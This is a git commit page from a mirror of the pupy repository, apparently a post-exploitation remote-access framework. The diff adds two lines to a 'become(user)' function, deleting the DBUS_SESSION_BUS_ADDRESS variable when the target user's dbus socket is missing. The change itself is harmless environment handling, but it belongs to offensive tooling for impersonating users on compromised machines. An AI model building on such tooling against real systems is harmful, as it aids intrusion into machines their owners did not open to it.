mirror of https://github.com/n1nj4sec/pupy.git
Unset DBUS_SESSION_BUS_ADDRESS if not exists
This commit is contained in:
parent
21d51e6bc5
commit
466481b101
|
@ -49,6 +49,8 @@ def become(user):
|
|||
|
||||
if os.path.exists(user_dbus_socket):
|
||||
os.environ['DBUS_SESSION_BUS_ADDRESS'] = user_dbus_socket
|
||||
else:
|
||||
del os.environ['DBUS_SESSION_BUS_ADDRESS']
|
||||
|
||||
for var in os.environ.keys():
|
||||
if var.startswith(('XDG_', 'GDM', 'DESKTOP_')):
|
||||
|
|
Loading…
Reference in New Issue